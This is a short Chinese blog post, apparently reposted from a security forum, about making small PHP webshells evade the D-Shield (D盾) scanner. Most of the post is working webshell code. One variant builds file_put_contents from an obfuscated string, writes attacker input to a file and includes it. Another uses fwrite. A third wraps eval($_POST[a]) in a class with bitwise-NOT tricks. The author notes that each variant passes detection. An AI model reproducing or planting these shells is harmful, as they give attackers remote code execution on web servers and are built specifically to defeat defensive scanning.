PHP小马免杀的浅谈[过最新D盾]

绕过

思路1:使用写文件的函数写出另一个php文件然后include/require 回来执行

方法1:File_put_content



D盾还是报了,但如果是PHP7.0以上的,还是有绕过方法滴:

1
2
3
4
5
6
7
<?php
/*
T00ls.net shadowwolf
2021-7-25
*/
( ~urldecode("%99%96%93%9A%A0%8F%8A%8B%A0%9C%90%91%8B%9A%91%8B%8C"))('oagi.php','<?php '.$_GET[a].' ?>');include('oagi.php');
?>

注:使用GET仅是因为测试直观方便= =
完全可以改成POST来的:

1
2
3
4
5
6
7
8
<?php
/*
T00ls.net shadowwolf
2021-7-25
*/
( ~urldecode("%99%96%93%9A%A0%8F%8A%8B%A0%9C%90%91%8B%9A%91%8B%8C"))('oagi.php','<?php '.$_POST[a].' ?>');include('oagi.php');
?>

方法2 使用fwrite

同理 使用fwrite也是一样的
1
2
3
4
5
<?php
$file = fopen("oagi.php","w");
echo fwrite($file,"<?php ".$_POST[a].' ?>');
fclose($file);
?>


也是过D盾

思路2 防止被识别成可疑eval

方法1 用(class{}) 包裹起来

在function或者是直接用的eval会被识别成可疑eval
所以我们不在function或者是裸露的条件下如
<?php eval($_POST[a]);?>是十分重要的
所以我们用类来包裹
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
/*
T00ls.net
shadowwolf
2021-7-25
*/
error_reporting(0);
class a {
public $command_;
public function b($command){
$command_=~$command;
$command =~$command_;
eval($command);
}
}
$c=new a();
$c->b($_POST[a]);
?>

同样 也是过D盾的

暂时就这么多QAQ


本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!